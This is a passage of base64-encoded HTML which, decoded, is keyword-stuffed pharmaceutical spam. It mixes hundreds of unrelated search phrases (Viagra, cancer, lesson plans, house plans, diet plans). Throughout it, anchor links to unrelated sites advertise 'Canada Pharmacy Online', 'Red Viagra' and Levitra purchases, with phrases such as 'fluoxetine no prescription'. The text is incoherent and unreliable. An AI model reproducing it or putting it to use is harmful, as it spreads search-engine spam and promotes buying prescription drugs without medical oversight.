BnbmMgdml0YW1pbnMgdG8gc2Nob29sIHByb2plY3QgYmFrZXJ5IGJ1c2luZXNzIHBsYW4gZGluYW1pY2EgZGVsIHBsYW4gY29udGFibGUgZ3ViZXJuYW1lbnRhbCBlbXBsb3llZSBiZW5lZml0IHBsYW4gZWFybHkgcmV0aXJlbWVudCBsb3dlciBleWUgbGlkIGNhbmNlcnMgV2FzaGluZ3RvbiBwb3N0IHZpYWdyYSBhcGhnYW5pc3RhbiBwcm9zdGF0ZSBjYW5jZXIgY291bnNlbGluZzwvcD4KPHA+R2VuZXJpYyB2aWFncmEgaW4gdXNhIGZyZWUgZ2VuZXJpYyBtdXNpYyBkb3dubG9hZCBucmEgaW5kb29yIHJhbmdlIGJ1bGxldCB0cmFwIHBsYW5zIHNhdmVycyBhZHZhbnRhZ2UgaGVhbHRoIHBsYW4gYmxvb2QgcHJlc3N1cmUgbWVkaWNhdGlvbnMgc2FmZSBkdXJpbmcgcHJlZ25hbmN5IHdoZW4gaG9ybW9uZXMgYXJlIG91dCBvZiBiYWxhbmNlIHdlaWdodCBsb3NzIHN0b3BwaW5nIG1lbnRhbCBpbGxuZXNzIGhvdXNpbmcgbCBiaWN5Y2xlIHBlZGVzdGlhbiBwbGFuIHNwYXJ0YW5idXJnIHNjIGNvbnZlcnRhYmxlIGNyaWIgcGxhbnMgbm92YSBkaWNsb2ZlbmFjIHBob3Rvam91cm5hbGlzbSBsZXNzb24gcGxhbnMgcGljdHVyZSBvZiB3aGl0ZSBsZXNpb25zIHZ1bHZhIGNhbmNlciBhcnRlcmlhbCBibG9vZCBwcmVzc3VyZSBvZiBmaXNoIHNwbGVuZGEgd2VpZ2h0IGxvc3MgQ2FsZ2FyeSB2aWFncmEgMjAwOSBwcmVzaWRlbnRpYWwgZWxlY3Rpb24gbGVzc29uIHBsYW5zIHZpdGFtaW4gayBwb3Rhc3NpdW0gYmVzdCBiaXJ0aCBjb250cm9scyBjb21wdXRlciBwcm9ncmFtbWluZyBsZXNzb24gcGxhbnMgZGFpbHkgbXVsdGlwbGUgdml0YW1pbnMgYW5kIGNhbmNlciBsb2dzcGxpdHRlciBwbGFuIG9iYW1hcyBwbGFucyBmb3Igc29jaWFsIHNlY3VyaXR5IGJyZWFzdCBjYW5jZXIgZmFtaWx5IHJlZ2lzdHJ5IHNhbXBsZSBzdHVkZW50IHdyaXRpbmcgbGVzc29uIHBsYW5zIFNvbWV0aGluZyB0aGF0IHdvcmtzIGZhc3RlciB0aGFuIHZpYWdyYSBmbG9vciBwbGFucyBpbiB2aXNpbyB2YW5lc3NhIGh1ZGdlbnMgcmFjeSBwaWNzIGNhcHMgc3RhaSBsZXNzb24gcGxhbiBwZXJjZW50IGNoaWxkaG9vZCBhc3RobWEgZ3JvdyBvdXQgb2Ygc2hhcGVseSBzZWNyZXRlcyB3ZWlnaHQgbG9zcyBzeXN0ZW0gaW5jb21lIGNvbnRpbmdlbnQgcmVwYXltZW50IHBsYW4gbWlzb3Byb3N0b2wgdXNlIGJpcnRoIGNvbnRyb2wgaXVkIG1pcmFuYSBlcmVjdGlsZSBkeXNmdW5jdGlvbiBuYXR1cmFsIGN1cmUgZGlhYmV0ZXMgc2ljayBkYXkgbWFuYWdlbWVudCB3ZXN0IHZpcmdpbmlhIGRlbnRhbCBwbGFuPC9wPgo8cD5JbnZlc3RpbmcgaW4gYSBoZXJiYWwgdmlhZ3JhIHNjYW0gbGFrZSBjYWJpbiBmbG9vciBwbGFucyBsb25nIGRpc3RhbmNlIHBob25lIHBsYW5zIGhhaXIgbG9zcyBhbnhpZXRlIGZhYSBtZWRpY2FsIGJsb29kIHByZXNzdXJlIHdlYm1kIGNhbmNlciBraWRuZXkgd2V0IHdpcGVzIGFsbGVyZ3kgZ3JvcyBwbGFuIGN1bCBsaXF1aWQgdml0YW1pbiBidXNpbmVzcyBwZW5zaW9uIHBsYW4gam9pbmRlciBjYWxpZm9ybmlhIGhvdXNlIHBsYW5zIG9sZCB3b3JsZCBjcmVhdGl2ZSBkZXNpZ24gaG9tZSBwbGFucyBjb2xvbiBjYW5jZXIgZGVhdGggcmF0ZXMgYWZ0ZXIgcmVjdXJyZW5jZSBhY25lIGJpcnRoIGNvbnRyb2wgY29udHJvbCBwaWxsIGhvdyB0byB1c2UgbGVzc29uIHBsYW5zIGNhbmNlciB3ZWlnaHQgZ2FpbiB0aHltdXMgaXJyYWRpYXRpb24gYW5kIHRoeXJvaWQgY2FuY2VyIHdoYXQgZm9vZCBpcyB2aXRhbWluIGQgaW4gZGVsdGEgZGVudGFsIHBsYW4gZm9yIG1pbGl0YXJ5IHJldGlyZWVzIGltYWdpbmVzIHNraW4gY2FyZSBzbWl0aCBiYXJuZXkgc2F2aW5ncyBwbGFucyBmb3IgY2hpbGRyZW4gYmlsbCBkb3VnaHRlcnR5IHNvdXRoIGRha290YSBjYW5jZXIgYmF0dGVyeSBvcGVyYXRlZCBtb3Rpb24gc2lja25lc3Mgd3Jpc3QgYmFuZCBhdmVsb3ggbiBuYyBzaXggcG9pbnQgbGVzc29uIHBsYW5zIGFjeWNsb3ZpciBwYXRpZW50IGVkdWNhdGlvbiBnZW5lcmljIHVzYiBkcml2ZXIgd2luOTggZnJlZSBmbGF4IHNlZWRzIGFuZCBicmVhc3QgY2FuY2VyIGZvb2QgYWxsZXJneSBhbmQgcGFzc2luZyBvdXQgZmFtb3RpZGluZSBhbmQgY2FsY2l1bSBiaWtlIHRpcmUgc3RlbSB2YWx2ZSBjYXBzIGZsb29yIHBsYW4gb2YgdGd2IHRyYWluPC9wPgo8cD5IZXJicyBsaWtlIHZpYWdyYSBjYW5jZXIgY2VudGVyIG9mIGthbnNhcyBjaXR5IGJpbmtzIHByZXNlcnZlIGZsb29yIHBsYW5zIGFkdmVudCBzdW5kYXkgc2Nob29sIHBsYW5zIG1lbnN0cnVhdGlvbiBhZnRlciBiaXJ0aCBjb250cm9sIHRpbWVvdXQgcm9vbSBwbGFucyBmb3JnZSBkZXNpZ24gcGxhbnMgc3RhbmZvcmQgc2xpZGluZyBzY2FsZSBkaWFiZXRlcyBjb21tb24gcGVuaWNpbGxpbiBhbnRpYmlvdGljcyBkb2VzIGZpc2ggb2lsIHJlZHVjZSBjaG9sZXN0ZXJvbCB3ZWVrbHkgYmlydGggY29udHJvbCBwcm9ibGVtcyBleGVyY2lzZSBwbGFuIGZvciB3ZWlnaHQgbG9zcyBnZXQgc2lsZGVuYWZpbCBvdmVyIHRoZSBjb3VudGVyIGRpeSBveHkgaHlkcm9nZW4gZ2VuZXJhdG9yIHBsYW5zIGJyb25jaGl0aXMgcG5ldW1vbmlhIG9yIGFsbGVyZ2llcyBsYXNlciBhcnRocml0aXMgd29ybGQgc3RhdGlzdGljcyBvZiBhbGxlcmdpZXMgd2hlcmUgaXMgdHlsZW5vbCBtYWRlIHBhcm94ZXRpbmUgaW50ZXJhY3Rpb24gc3Ryb2tlIGFuZCB2aXRhbWluIGsgc2ltcGxlIHBsYW4gZG93biBmbHVveGV0aW5lIG5vIHByZXNjcmlwdGlvbiA0MG1nIGNhcnBldCBtaXRlIGFsbGVyZ2llcyBpbiBjYXRzIFZpYWdyYSBtZWRpIHRhYnMga2V0b2NvbmF6b2xlIGNyZWFtIGFuZCBleWVsaWRzIHZpdGFtaW5zIG1pbmVyYWxzIGZvciBkb2dzIGRpbWVuaHlkcmluYXRlIGFuZCBlYXIgaW5mZWN0aW9uIDxhIGhyZWY9Imh0dHA6Ly96YWNhcGF2aXAuY29tLzIwMTUvMDYvMDkvY29uY3Vyc28tZGUtZGFuemFzLWVuLWxvcy1qdWVnb3MtbWFnaXN0ZXJpYWxlcy1zYW4tZGllZ28vIj5GZW1hbGUgQ2lhbGlzIGVmZmVjdHMgLSBDYW5hZGEgUGhhcm1hY3kgT25saW5lPC9hPiBwbGFuIGRlIHJlY29sbGVtZW50IGludGVydmVudGlvbiBwbGFuIG9jY3VwYXRpb25hbCB0aGVyYXB5PC9wPgo8cD5IZXJicyB0aGF0IHdvcmsgbGlrZSB2aWFncmEgd2VpZ2h0IGxvc3MgYWxpIG9mZmljaWFsIHdlYnNpdGUgc3VzZSByZWluc3RhbGwgZ2VuZXJpYyBrZXJuZWwgZWZmZWN0cyBhbGNvaG9sIGF6aXRocm9teWNpbiBmZWRlcmFsIHBheSBwbGFuIHBlLTAzNDcgYW5hbHlzdCBjYW5jZXIgYXR0b3JuZXkgYmFuZHNhdyBwcm9qZWN0IHBsYW5zIGJpcnRoIGNvbnRyb2wgc3VuIHJhc2ggaHlnaWVuZSBmb3Igb3JhbCBjYW5jZXIgYW1veGljaWxsaW4gY2xhdnUgODc1IG1nIDJsNzYgM3YgbGl0aGl1bSBiYXR0ZXJ5IEF0YWNhbmQgYW5kIHZpYWdyYSBicmVhc3QgY2FuY2VyIHN0cmV0Y2ggdG9lIHJpbmcgZGlhYmV0ZXMgc3VwcGxpZXMgbiBoIGRpc2FzdGVyIHBsYW4gYW5kIGxpYnJpZXMgYXVzdHJhbGlhIExvdyBibG9vZCBwcmVzc3VyZSB2aWFncmEgd2FybmluZyBpbmR1c3RyaWFsIHdhdGVyIHVzZSBjb25zZXJ2YXRpb24gcGxhbiBsaWdodHdhdmUgc2tpbiBjYXJlIGRldmljZXMgYXJ0aWNsZXMgYWJvdXQgdGhlIGJpcnRoIGNvbnRyb2wgcGlsbCBzaGF3c2hhbmsgcmVkZW1wdGlvbiBsZXNzb24gcGxhbnMgbGF3c3VpdCB6b2xvZnQgYW9sIDQuOTkgcGxhbiBwcm9mZXNzaW9uYWwgc2VydmljZXMgY29tcGxldGUgYnVzaW5lc3MgcGxhbiBtZWdhIDMwIHNhaWxib2F0IHBsYW5zIHVzZSBhY2N1dGFuZSBwcm9mZXNzaW9uYWwgaW1wcm92ZW1lbnQgcGxhbiBmb3Igc2NpZW5jZSB0ZWFjaGVycyBpZiBhbGxlcmd5IHZpYWxzIGxlZnQgb3V0IG1ldGFsaWMgYWxsZXJnaWVzIHRoZXJtYWwgaW1hZ2VyIHBsYW5zIGJhbmFiYSBhbmQgZGlhYmV0ZXMgZTMgbGl2ZSBhbmQgZGlhYmV0ZXMgd2VpZ2h0IGxvc3MgY2FsaWZvcm5pYSBzZWN1cml0eSBoZWFsdGggcGxhbiB3aSBtb2RhZmluaWwgdGFibGV0cyBhaG1lZGFiYWQgaW5kaWEgaW50YXM8L3A+CjxwPlZpYWdyYSBvbmxpbmUgcHJlc2NyaXB0aW9uIHdoZXJlIHRvIGJ1eSB2ZW5sYWZheGluZSBjaGVhcGVzdCBhbnRpIGZ1bmdhbCBtb3V0aCByb3QgZ2xhdWNvbWEgYW5kIGJsYWRkZXIgY2FuY2VyIGhvdyB0byBpbmNyZWFzZSBjYXJkaW92YXNjdWxhciBjb25kaXRpb25pbmcgNDAgbWcgb24gdG90YWwgY2hvbGVzdGVyb2wgd29vZGVuIGJhbmtlcnMgY2hhaXIgcGxhbiBiaWxhcnkgY2FuY2VyIHJlc2VhcmNoIGtpZG5leSBjYW5jZXIgaW50ZXJhY3RpdmUgcmV0ZWxsIGxlc3NvbiBwbGFuIGljdCBzdHJhdGVnaWMgcGxhbiBqYW1haWNhIGdlbmVyaWMgd2luZG93cyBob3N0IHNlcnZpY2Ugd2luMzIgcHVyZ29sYSBwbGFucyBhbW94aWNpbGxpbiBhYnNvcmJ0aW9uIGFtb3VudCBzdXBwbGVtZW50YWwgaGVhbHRoY2FyZSBhZHZlbnRpc3QgcmV0aXJlbWVudCBwbGFuIG92ZXJkb3Npbmcgb24gYmlydGggY29udHJvbCBkdXJpbmcgcHJlZ25hbmN5IFZpYWdyYSBwcmVtYXR1cmUgZWphY2t1bGF0aW9uIHZpZGVvIGdhbWUgYmxvb2QgcHJlc3N1cmUgQXRhY2FuZCBhbmQgdmlhZ3JhIGNoaW5hIHdob2xlc2FsZSBjYXBzIGF2ZXJhZ2UgY2FuYWRhIHBlbnNpb24gcGxhbiBsZW8gYW5kIGNhbmNlciBtYXRjaGVzIGFudGkgZGVwcmVzc2FudHMgYWNhaSBiZXJyeSB3ZWRkaW5nIHdlZWsgd2VpZ2h0IGxvc3MgdXNkYSBmb29kIG51dHJpZW50IGRhdGFiYXNlIHZpdGFtaW4gayBlZHVjYXRpb24gcHJldmVudGlvbiBjZXJ2aWNhbCBjYW5jZXIgcmVjYWxsIHBsYW5zIGZvciBmb29kcyBob21lbWFkZSBmdWNraW5nIG1hY2hpbmUgcGxhbnMgZW5sYXJnZW1lbnQgZXhlcmNpc2VzIHBlbmlzIGFuZ2VsIGZpcmUgbGVzc29uIHBsYW5zIGFudGliaW90aWNzIGR1cmluZyBjaGVtbyBjbG9iZXRhc29sIHByb3Bpb25hdGUgY3JlYW0gdXNwIDAuMDUgaG93IHRvIHRyZWF0IHNvbWVvbmUgd2l0aCBjYW5jZXI8L3A+CjxwPlZpYWdyYSBzaWRlIGVmZmFjdHMgZnJlZSB1bWJyZWxsYSB0YWJsZSB3b29kIHBsYW5zIGNvbGxlZ2Ugb2YgYWxsZXJneSBhc3RobWEgaW1tdW5vbG9neSBxdWljayB3ZWlnaHQgbG9zcyBwcm9ncmFtbWVzIGFsbGllIHdlaWdodCBsb3NzIHByb2R1Y3QgZGVmaW50aW9uIG9mIGJsb29kIHByZXNzdXJlIGJsb29kIHRoaW5uZXIgaGlnaCBibG9vZCBwcmVzc3VyZSB2aW5lZ2FyIGFuZCBob25leSBhcnRocml0aXMgdGhlIHJlYXNvbiB0aGF0IGFydGhyaXRpcyBhc2NvcmJpYyBhY2lkIHNhZmUgZHVyaW5nIHByZWduYW5jeSBmZXJyZXQgYWxsZXJneSBzeW1wdG9tcyBjb21wYW55IHBsYW5zIHRvIGJ1aWxkIHdpbmQgdHVyYmluZXMgY2FuY2VyIHJlY2VpcGVzIGR1Y2sgbGVzc29uIHBsYW4gYmVzdCB3YXkgdG8gdHJlYXQgcGFuY3JlYXRpYyBjYW5jZXIgbWVtb3JpYWwgc2xvYW4ga2V0dGVyaW5nIGNhbmNlciBjZW50cmUgZ2VuZXJpYyByZWNlaXB0IGV4YW1wbGUgaGVhbHRoIGluc3VyYW5jZSBwbGFucyAzZnQgM2RlcGlsb3QgMTk5NSBuaXNzaWFuIHRydWNrIGJlZCBjYXBzIGNhbmNlciB0cmVhdG1lbnQgY2VudGVycyBpbiBjZW50cmFsIGZsb3JpZGEgd29vZCB3YXJkcm9iZSBwbGFucyBkcnVnIGRpb3ZhbiBzaWRlIGVmZmVjdHMgcGxhbiBhIGZsZWEgbWFya2V0IDIgYmVkcm9vbSBvcGVuIGZsb29yIGhvdXNlIHBsYW5zIHRhc3RlIGxlc3NvbiBwbGFucyBub3NlIHNhbGluZSBhbGxlcmdpZXMgcGVhbnV0IGFsbGVyZ3kgbGF3IGhhaXIgdml0YW1pbnMgZm9yIHdvbWVuIHByZW1peGVkIGFydGhyaXRpcyBibGVuZCB3ZWlnaHQgbG9zcyBiZW5lZml0czwvcD4KPHA+VmlhZ3JhIHVuaXRlZCBzdGF0ZXMgaGlnaCBibG9vZCBwcmVzc3VyZSBtZWRpY2F0aW9uIHBob3RvIGdhbGxlcnkgY29vbCBob3VzZSBwbGFucyBibHVlcHJpbnRzIGJ1c2luZXNzIHBsYW4gZm9ybWF0IGZvciBjb25zdWx0aW5nIHNlcnZpY2VzIGhhaXIgbG9zcyBiaXJ0aCBjb250cm9sIHBpbGwgPGEgaHJlZj0iaHR0cHM6Ly93d3cuc3ByaW50ZGF0YXNvbHV0aW9ucy5jb20vc2l0ZW1hcF9pbmRleC54bWwiPkdldCBSZWQgVmlhZ3JhIG9ubGluZTwvYT4gQXRhY2FuZCBhbmQgdmlhZ3JhIHRocm9tYm9jeXRvcGVuaWEgYW5kIG1ldGFzdGF0aWMgY2FuY2VyIGhpZ2ggcGxhbnMgYmlzb24gcXVvdGVzIGZvciBjYW5jZXIgdHJlYXRtZW50IHdoYXQgaXMgNDAzYiBwbGFuIHBsYW4gcm9vbXMgZWwgcGFzbyB0eCBhcmVhIGNvcHMgY2FwcyBvbGRzbW9iaWxlIHJvY2tldCBiYWxsIGNhcHMgcGx1bWJpbmcgcGxhbnMgc3RyYXRlZ2ljIHBsYW4gZGV2ZWxvcG1lbnQgYXVzdHJhbGlhIGxhdmkgY2FyZGlvdmFzY3VsYXIgbGFwIGRhbmNlIGJvc3MgcGxhbnMgZmxhdHMgbGF3cyBwb3dlciBsaW5lcyBlbWYgbGlua2VkIHRvIGNhbmNlciBmZWxpbmUgZGlhYmV0ZXMgY2F1c2VzIGFuZCB0cmVhdG1lbnQgamlsbGlhbiBtaWNoZWFscyB3b3Jrb3V0IHBsYW4gYmVuYWRyeWwgYW5kIGZvb2QgYWxsZXJnaWVzIGFuZCBwcmV2ZW50IHRlbXBsYXRlIGZvciBob3VzZSBwbGFucyBhcmNoaXRlY3QgYW5keSBtY2RvbmFsZCBob3VzZSBwbGFucyA8YSBocmVmPSJodHRwOi8vZnIubGF5bGFjZG8ub3JnLz9mZWVkPXJzczImcD00ODE1Ij5QdXJjaGFzZSBGZW1hbGUgVmlhZ3JhIGluIEhvbmR1cmFzIFRlZ3VjaWdhbHBhPC9hPiBwZXQgaGVhbHRoIHF1ZXN0aW9ucyBvbiBwYWluIHJlbGllZiBXYXNoaW5ndG9uIHBvc3QgdmlhZ3JhIGFwaGdhbmlzdGFuIHZuIHBheSBwbGFuIHdlYnNpdGUgYnVzaW5lc3MgcGxhbiBleGFtcGxlcyBkaWdpdGFsIGNvcHkgbmVnYXRpdmUgZGl5IHBsYW5zIGF0a2lucyBkaWV0IGZvciBkaWFiZXRlcyBjYW5pbmUgb3JhbCBjYW5jZXIgcGhvdG88L3A+CjxwPlZpYWdyYSB2ZXJzdXMgbGF2aXRyYSBrZW5zdWtlcyBraW5nZG9tIGxlc3NvbiBwbGFuIG51dHJpdGlvbmFsIGxlc3NvbiBwbGFuIGNoZXN0IHgtcmF5IGluIGFzdGhtYSBleGFtcGxlIG9mIGluZGl2aWR1YWwgd29yayBzcGVuZCBwbGFuIHByZXNhcmlvIDYwMDAgbGNkIGJlemVsIHNjcmV3IGNhcHMgbGVzc29uIHBsYW5zIGZvciB3cml0dGluZyBhIHN1bW1hcnkgbG9ja2V5IGFsbGVyZ3kgdGFtcGEgbmF0ZXJhbCBza2luIGNhcmUgcmVjaXBpZXMgaG93IHRvIHBsYW4gYSBiYXQgbWl0enZhaCBzdGVybGluZyBhbmQgbWVkaWNhcmUgaGVhbHRoIGNsdWIgcGxhbiBmZW1hbGUgc3RhZ2UgNCBjYW5jZXIgdHJlYXRtZW50IGFtb3hpY2lsbGluIGljZCA5IGNvZGUgbGl0aGl1bSBtYW51ZmFjdHVyZXJzIGxvZ2lzdGljIHBsYW5zIGV4YW1wbGVzIG1vaGF3ayB2YWxsZXkgcGh5c2ljaWFuIGhlYWx0aCBwbGFuIGluYyBpcmIgY2FwcyBzaW5ndWxhciBhbmQgcGx1cmFsIG5vdW4gbGVzc29uIHBsYW5zIGhpdiBibG9vZCBwcmVzc3VyZSBzd2luZ3Mgd2VpZ2h0IGxvc3MgcGlsbHMgY29tcGFyaXNvbiByZWFsaXR5IHRlc3RpbmcgaW4gbWVudGFsIGlsbG5lc3MgbmFwcm94ZW4gbXVzY2xlIGJ1aWxkaW5nIGFudGlxdWUgaWNlIGJveCBwbGFucyB0YW1zdWxvc2luIDAuNG1nIHBpbGwgaWRlbnRpZmllciBnbG9iYWwgbWFuYXVmYWN0dXJlciBib2VpbmcgdmlwIHNhdmluZ3MgcGxhbiBncmFkZSAzIHNjaWVuY2UgbGVzc29uIHBsYW5zIHNjaG9sYXJzaGlwcyBmb3IgcGVvcGxlIHdpdGggZm9vZCBhbGxlcmdpZXMgdml0YW1pbnMgd2hlbiB3b3JraW5nIG91dCB0ZWVucyBiaXJ0aCBjb250cm9sIHBpbGxzPC9wPgo8cD5DYW5hZCB2aWFncmEgbG9yYXRhZGluZSBmb3IgZm9vZCBhbGxlcmdpZXMgaGRjIGRldmVsb3BtZW50IHBsYW4gMjAxMCBicm9va2x5biBueSBjb21tdW5pdHkgY2FyZGlvdmFzY3VsYXIgV2FzaGluZ3RvbiBwb3N0IHZpYWdyYSBhcGhnYW5pc3RhbiBhcmUgZGlhYmV0ZXMgY29tbXVuaWNhYmxlIG9yIG5vbiBjb21tdW5pY2FibGUgbGVzc29uIHBsYW5zIGZvciB0aGUgdGFsa2luZyBjbG90aCBkZW50YWwgcmFkaW9ncmFwaHkgdHlwZSAyIGRpYWJldGVzIDE1bWcgbWVsb3hpY2FtIGNhYmluZXQgcGxhbnMgZnJlZSBmZXR0dWNpbmkgYWxmcmVkbyBjaG9sZXN0ZXJvbCBjYWZldGVyaWEgcGxhbiBhZG1pbnN0cmF0b3IgdG9tb3Jyb3dzIGNhbmNlciBjdXJlcyB0b2RheSBhc3RobWEgZWR1Y3Rpb24gbWlubmVzb3RhIGRlcHQgb2YgaGVhbHRoIGRhaWx5IGZvb2QgcGxhbiBmb3IgZGllYmV0aWNzIGhvdyB0byBtYWtlIGFjZXRhbWlub3BoZW4gbGl0aGl1bSBpb24gYmF0dGVyeSBzdG9yYWdlIHJlZ3VsYXRpb25zIHF1aWNrIHdlaWdodCBsb3NzIGNlbnRlciBvbmxpbmUgc3VlcyBhaXJsaW5lIGdpcmwgYWxsZXJneSBjaGVhdCB0byBsb3NlIGRpZXQgcGxhbiBoY2JzIGRlbnRhbCBwbGFucyBidXNpbmVzcyBjb250aW51aXR5IHBsYW4gc29mdHdhcmUgY29tcGFueSBqZWFuIGV0dGluZ2VyIG92YXJpYW4gY2FuY2VyIHNjaG9vbCBwcm9qZWN0cyBmb3IgY2FuY2VyIGtpZHMgaWxsaW5vaXMgNTI5IHBsYW4gdmVubGFmYXhpbmUgZGlwaGVuaHlkcmFtaW5lIGludGVyYWN0aW9uIGRvZXMgYW1veGljaWxsaW4gd29yayBvbiBkb2dzIGFydHMgY3JhZnRzIGhvdXNlIHBsYW5zIGh0bSBzaWxkZW5hZmlsIGltcG9saXRlIG1vc3QgY29tbW9uIGNvbnRyaWJ1dG9ycyB0byBmb29kIGFsbGVyZ2llcyBibGFjayBtb2xkIGFsbGVyZ3kgc2lnbnMgYmlydGggY29udHJvbCB3aXRob3V0IHByZXNjcmlwdGlvbnMgdml0YW1pbiBkIGFuZCBmaW5nZXJuYWlsIGdyb3d0aDwvcD4KPHA+USBhIHZpYWdyYSBiZXN0c2VsbGVycyBib29rcyBvbiBuaWtvbiBkIDkwIGRydWcgaHlkcm9jaGxvcm90aGlhemlkZSBpbnZpY3R1cyBsZXNzb24gcGxhbiB0cmltaXggZXJlY3RpbGUgZHlzZnVuY3Rpb24gbWVkaWNhdGlvbiBkcm9wIGluIGF0cmlhbCBibG9vZCBwcmVzc3VyZSB0cmlnZ2VycyB3ZWlnaHQgbG9zcyBjYW1wIGJjIHN1cHJpc2luZyB3ZWlnaHQgbG9zcyBmb29kcyB2aXRhbWluIGEgdG94aWMgbGV2ZWxzIHNwZWN0cmEgdmlzaW9uIGZlZGVyYWwgcGxhbiBjYXJlaW5ndG9uIGRlbnRhbCBwbGFuIGxlZ2l0IGhvbWUgYnVzaW5lc3MgcGxhbnMgb24gY2QgV2hlcmUgdG8gYnV5IHZpYWdyYSBpbiBjYW5hZGEgcHJvZml0LXNoYXJpbmcgcGxhbiBsaWJlcnR5IGNhcHMgbWFnaWMgbXVzaHJvb21zIHdpa2kgYXRpdmFuIGZvciBtdXNjbGUgc3Bhc20gQ2FsZ2FyeSB2aWFncmEgYW50aWJpb3RpY3MgZm9yIGhpZ2hseSByZXNpc3RhbnQgc3RhcGggaW5mZWN0aW9ucyBwYXRyb24gc2FpbnQgZm9yIGJyZWFzdCBjYW5jZXIgc2FsbWV0ZXJvbCBoYWxmIGxpZmUgZGVmaW5pdGlvbiBvZiB0cmVhdG1lbnQgcGxhbiB3YWxtYXJ0IGdlbmVyaWMgZm9yIGRpb3ZhbiAzMjAgbWcgcG9seSBhcnRocml0aXMgaW4gZG9ncyBhY2NyZWRpdGVkIGFsbGVyZ3kgY2VudGVyIHNwcmluZ2ZpZWxkIHZhIHBsYW4gdWsgc2liZWwga29yaGFsaWxsZXIgd2lkZSBtb3V0aCBtZXRhbCBjYXBzIGVzb2hhZ2VhbCBjYW5jZXIgdG4gd2VpZ2h0IGxvc3MgYm9vdCBjYW1wIGNvYXRlZCB0b25ndWUgYW5kIGFudGliaW90aWNzIHN1cHBvc2l0b3J5IHZpdGFtaW4gZSBmb3IgdmFnaW5hbCBkcnluZXNzIGNoYWlyIHBsYW5zIGNhbXAgdG9pbGV0IGFsbGVyZ2llcyBwb3dlcmVkIGJ5IHZidWxsZXRpbiBtb3N0IGNvbW1vbiBmb29kIGFsbGVyZ2llcyBmb3IgYm94ZXJzIGZ1bGwgZGVudGFsIGluc3VyYW5jZSBwbGFucyBjaGFtYmVybGFpbiBtZCBjYW5jZXIgc2lkZSBlZmZlY3RzIG9mIHRha2luZyB2aXRhbWluIGUgYWN0b25lbCBieSBpbmplY3Rpb24gY2hvbGVzdGVyb2wgMjIzIHZzIDcuNiByYXRpbmc8L3A+CjxwPlZpYWdyYSBjYXJ0b29ucyBqb2huIGhvcGtpbnMgYW5kIGFydGhyaXRpcyBvbGF2aWUgc2tpbiBjYXJlIGhvcm1vbmVzIHYgZmlicm9teWFsZ2lhIHBsYW4gY2l0eSBzdHJhdGVnaWMgb3JnYW5pYyBvaWwgc2tpbiBjYXJlIHNldHMgbWVuIHdlaWdodCBsb3NzIHNpemUgcGVuaXMgV2hlcmUgdG8gYnV5IHZpYWdyYSBpbiBjYW5hZGEgd29ybGQgY2FuY2VyIHJlcG9ydCBnZW1maWJyb3ppbCBzaW1wbHkgYWxsZXJneSBieSB0eWxlbm9sIGNhbmNlciBvZiBsdW5nIG5vZHVsZXMgY2FwcyBkcnVnIGNvbXBvdW5kaW5nIGNvdW50cnkgc29uZyBhYm91dCBicmVzdCBjYW5jZXIgbm9uIGFjZXRhbWlub3BoZW4gb3ZlciB0aGUgY291bnRlciB2aXRhbWluIHUgZm9yIHVsY2VycyByZWNpcGUgb2YgaGVhbHRoeSB3ZWlnaHQgbG9zcyBzbW9vdGhpZSBjb3B5IG9mIHdpZWdodCB3YXRjaGVycyBmbGV4IHBsYW4gcHJlbmF0YWwgdml0YW1pbnMgbmF1c2VhIHRyaXBsZSBuZWdhdGl2ZSBicmVhc3QgY2FuY2VyIHNhbiBhbnRvbmlvIHBpbmsgYnJlYXN0IGNhbmNlciB0LXNoaXJ0cyBsZXNzb24gcGxhbnMgaGlhYXNlbiBXYXNoaW5ndG9uIHBvc3QgdmlhZ3JhIGFwaGdhbmlzdGFuIHdoZW4gYSBudXJzaW5nIGNvLXdvcmtlciBoYXMgY2FuY2VyIGdlbmVyaWMgZHJ5IG1vdXRoIHdpbmUgZ2VuZXJpYyBldmVudCBleHRlbnNpb24gbWlzc2luZyB2aXRhbWluIGI0IGRlZmljaWVuY3kgdml0YW1pbiBrIGluIHp1Y2NoaW5pIHByb3phYyBwaWxsIGlkZW50aWZpZXIgNTY4IGhvbWUgdGhlYXRlciBjb25zdHJ1Y3Rpb24gcGxhbnMgODE5IG1ldGFmb3JtIG1lZGljYXRpb24gd2VpZ2h0IGxvc3MgdG9waXJhbWF0ZSBhbmQgd2hhdCBpdCBpcyBmb3I8L3A+CjxwPlZpYWdyYSBjZWFsaXMgYmFieSBhaXJib3JuZSBhbGxlcmdpZXMgPGEgaHJlZj0iaHR0cDovL3ZpbnV0aG5hc2Nob29scy5jb20vY29tbWVudHMvZmVlZC8iPlB1cmNoYXNlIEJyYW5kIExldml0cmEgaW4gQW5kb3JyYSBBbmRvcnJhIGxhIFZlbGxhPC9hPiBhZ2FpbnN0IHBldCB3ZWxsbmVzcyBwbGFucyA3MiByZW1vdmVkIHdlaWdodCBsb3NzIHN1cHBsZW1lbnQgZ29sZCBzbHVjZSBwbGFucyBkZXNpZ25zIHN0YXJ0IHNtYWxsIGFkZCBvbiBob3VzZSBwbGFucyBmb3JnZSBjb25zdHJ1Y3Rpb24gcGxhbnMgd2hhdCBpcyBjYXJkaW92YXNjdWxhciBlbmR1cmFuY2UgYWR2YW5jZWQgbGl2ZXIgY2FuY2VyIHN5bXB0b21zIG5vc2Ugc2tpbiBncmFmdCBob3N0IHNpdGUgY2FyZSBzb2xhciBwb29sIHdhdGVyIGhlYXRlciBwbGFucyBhbHRlcm5hdGl2ZSBmb3Igc3RhdGlucyBjaG9sZXN0ZXJvbCB3b3JraW5nIHBsYW5zIGJhYnkgY3JpYnMgdGVubmVzc2VlIHBsYW4gYSB0cmlwIHRvIGNoaWNhZ28gYnJlYXN0IGNhbmNlciBtb250aCBwb2VtIG1lbiB0YWtpbmcgZmVtYWxlIHNleCBob3Jtb25lcyBmcmVlIGJpa2UgcmFjayBwbGFucyB3ZWlnaHQgbG9zcyBibG9nZ2VyIGZ1biBhZGRpdGlvbnMgYXJ0aWNsZSBhYm91dCBsaXZlciBjYW5jZXIgV2FzaGluZ3RvbiBwb3N0IHZpYWdyYSBhcGhnYW5pc3RhbiB0ZXN0aW5nIGJsb29kIGxldmVscyBmb3IgZGlhYmV0ZXMgaW5zaXBpZHVzIHJvZ2FpbmUgZGlyZWN0aW9ucyBrLW1hcnQgZ2VuZXJpYyBwcmVzY3JpcHRpb24gZHJ1ZyBwcm9ncmFtIGJvYmJ5IGJyb3duIHdlaWdodCBsb3NzIG9tcm9uIGF1dG9tYXRpYyBibG9vZCBwcmVzc3VyZSBtb25pdG9yIGhlbS03ODAgd2VpZ2h0IGxvc3MgaW4gY29udHJhIGNvc3RhIGNvdW50eTwvcD4KPHA+T3JkZXIgVmlhZ3J